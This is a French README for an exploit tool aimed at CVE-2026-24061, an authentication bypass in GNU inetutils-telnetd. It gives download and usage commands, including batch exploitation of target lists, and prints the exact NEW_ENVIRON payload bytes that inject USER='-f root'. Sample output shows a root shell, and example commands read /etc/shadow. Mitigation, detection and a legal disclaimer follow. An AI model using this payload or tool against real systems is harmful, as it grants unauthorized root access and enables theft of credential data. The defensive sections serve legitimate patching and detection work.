
Proof of Concept: CVE-2026-24061 is a critical authentication bypass vulnerability in GNU inetutils-telnetd allowing unauthenticated remote attackers to gain instant root shell access via malicious NEW_ENVIRON telnet option exploitation.
Un outil de recherche en sécurité pour exploiter CVE-2026-24061, une vulnérabilité critique de contournement d'authentification à distance dans GNU inetutils-telnetd qui permet un accès instantané à un shell root sans authentification.
| Champ | Valeur |
|---|
| Identifiant CVE | CVE-2026-24061 |
| Score CVSS v3.1 | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Classification CWE | CWE-88 : Neutralisation incorrecte des délimiteurs d'arguments dans une commande |
| Éditeur | Projet GNU |
| Produit | inetutils-telnetd |
| Date de divulgation | 20 janvier 2026 |
| Correctif disponible | À déterminer |
Une vulnérabilité critique existe dans GNU inetutils-telnetd jusqu'à la version 2.7 qui permet à des attaquants distants non authentifiés de contourner entièrement l'authentification et d'obtenir un accès immédiat à un shell root. La vulnérabilité est exploitée via l'option telnet NEW_ENVIRON en injectant une variable d'environnement USER spécialement conçue avec la valeur "-f root", ce qui contourne tous les mécanismes d'authentification.
| Plage de versions | Statut |
|---|---|
| <= 2.7 | Vulnérable |
| > 2.7 | Statut du correctif : À déterminer |
La vulnérabilité provient d'une validation incorrecte de la variable d'environnement USER dans le gestionnaire d'option NEW_ENVIRON de telnetd. Lors du traitement de l'option telnet NEW_ENVIRON, le service telnetd ne nettoie pas la valeur de la variable USER avant de la transmettre au processus de connexion. En définissant USER à "-f root", l'attaquant injecte des arguments de ligne de commande qui forcent la réussite de l'authentification pour l'utilisateur root sans nécessiter d'identifiants.
Toutes les dépendances font partie de la bibliothèque standard de Python :
| Package | Objectif |
|---|---|
| socket | Communication réseau |
| select | Multiplexage d'E/S |
| sys | Interaction système |
| os | Interface du système d'exploitation |
| threading | Exploitation concurrente des cibles |
| datetime | Formatage des horodatages |
# Clonez le dépôt
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Exécutez l'exploit
python3 main.py -u <ip_cible>
# Téléchargez l'exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Rendez-le exécutable (Linux/macOS)
chmod +x main.py
# Exécutez l'exploit
python3 main.py -u <ip_cible>
# Assurez-vous que Python 3.7+ est installé
python3 --version
# Téléchargez et exécutez
python3 main.py -u <ip_cible>
Usage:
python3 main.py -u <ip_cible> [-p <port>] [-usr <utilisateur>]
python3 main.py -l <fichier_cibles> [-p <port>] [-usr <utilisateur>]
echo "commandes" | python3 main.py -u <ip_cible>
Arguments :
-u Adresse IP ou nom d'hôte de la cible unique
-l Chemin vers le fichier contenant les IP cibles (une par ligne)
-p Port cible (par défaut : 23)
-usr Utilisateur à exploiter (par défaut : root)
Exploiter une instance telnetd unique :
# Exploitation de base (port 23 par défaut, utilisateur root)
python3 main.py -u 192.168.1.100
# Port personnalisé
python3 main.py -u 192.168.1.100 -p 2323
# Utilisateur différent
python3 main.py -u 192.168.1.100 -usr admin
Exécuter des commandes de manière non interactive :
# Commande unique
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Plusieurs commandes
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Commande avec redirection de sortie
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
Exploiter plusieurs cibles à partir d'un fichier :
python3 main.py -l cibles.txt
python3 main.py -l cibles.txt -p 2323
python3 main.py -l cibles.txt -usr admin
Format du fichier cible (cibles.txt) :
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
Remarques :
| Indicateur | Couleur | Description |
|---|---|---|
[SUCCESS] | Vert | Connexion réussie à la cible |
[EXPLOIT] | Vert | Charge utile d'exploitation envoyée avec succès |
[INFO] | Bleu | Message informatif sur l'opération en cours |
[ERROR] | Rouge | Échec de connexion, délai d'attente ou erreur d'exploitation |
[WARNING] | Jaune | Message d'avertissement (non utilisé actuellement) |
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
L'exploit tire parti de la phase de négociation du protocole telnet :
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
select.select() pour la surveillance simultanée du socket et de l'entrée standardDésactiver telnetd : Arrêter et désactiver le service telnetd immédiatement
# Systèmes basés sur systemd
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# Systèmes basés sur xinetd
sudo service xinetd stop
sudo chkconfig telnet off
Règles de pare-feu : Bloquer le port telnet (23) au niveau du pare-feu
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
Isolement réseau : Supprimer le service telnet des systèmes exposés à Internet
| Action | Priorité | Description |
|---|---|---|
| Migration vers SSH | Critique | Remplacer telnet par SSH pour l'accès à distance |
| Gestion des correctifs | Critique | Surveiller et appliquer les mises à jour de sécurité |
| Audit des services | Élevée | Identifier et désactiver les services réseau inutiles |
| Segmentation réseau | Élevée | Isoler les systèmes critiques des réseaux publics |
| Détection d'intrusions | Moyenne | Déployer un IDS/IPS pour détecter les tentatives d'exploitation |
| Contrôle d'accès | Moyenne | Mettre en œuvre une liste blanche d'adresses IP pour les services distants |
Utiliser SSH au lieu de Telnet :
# Installer le serveur OpenSSH
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# Activer et démarrer SSH
sudo systemctl enable sshd
sudo systemctl start sshd
# Vérifier que telnetd n'est pas en cours d'exécution
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# Ne doit renvoyer aucun résultat si correctement désactivé
Vérifier les journaux système pour les motifs suivants :
Journaux d'authentification :
# Rechercher des schémas de connexion inhabituels
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# Rechercher des variables d'environnement USER suspectes
sudo grep "USER.*-f" /var/log/auth.log
Journaux réseau :
# Vérifier les connexions telnet actives
sudo netstat -antp | grep :23
# Examiner les connexions root récentes
sudo last | grep root
# Vérifier les fichiers système modifiés
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# Lister les processus par root
sudo ps aux | grep root
# Vérifier les clés SSH non autorisées
sudo cat /root/.ssh/authorized_keys
IMPORTANT : À LIRE AVANT UTILISATION
Cet outil est fourni strictement pour :
Utilisations interdites :
Responsabilité : Les auteurs, contributeurs et distributeurs de ce logiciel déclinent toute responsabilité en cas d'utilisation abusive, de dommages ou d'activités illégales menées avec cet outil. Les utilisateurs sont seuls responsables :
Avis légal : L'accès non autorisé à des systèmes informatiques est une infraction pénale grave. Les violations peuvent entraîner des poursuites en vertu :
Les sanctions peuvent inclure l'emprisonnement, des amendes substantielles et une responsabilité civile.
En utilisant cet outil, vous reconnaissez avoir lu, compris et accepté de vous conformer à cet avertissement et à toutes les lois applicables.
| Version | Date | Modifications |
|---|---|---|
| 1.0.0 | 23-01-2026 | Version initiale |
Pour toute question, problème ou contribution :
Ce projet est fourni en l'état à des fins de recherche en sécurité autorisée et d'enseignement uniquement. Aucune garantie, expresse ou implicite, n'est fournie. Utilisez-le à vos propres risques et conformément à toutes les lois et réglementations applicables.
À UTILISER UNIQUEMENT AVEC UNE AUTORISATION APPROPRIÉE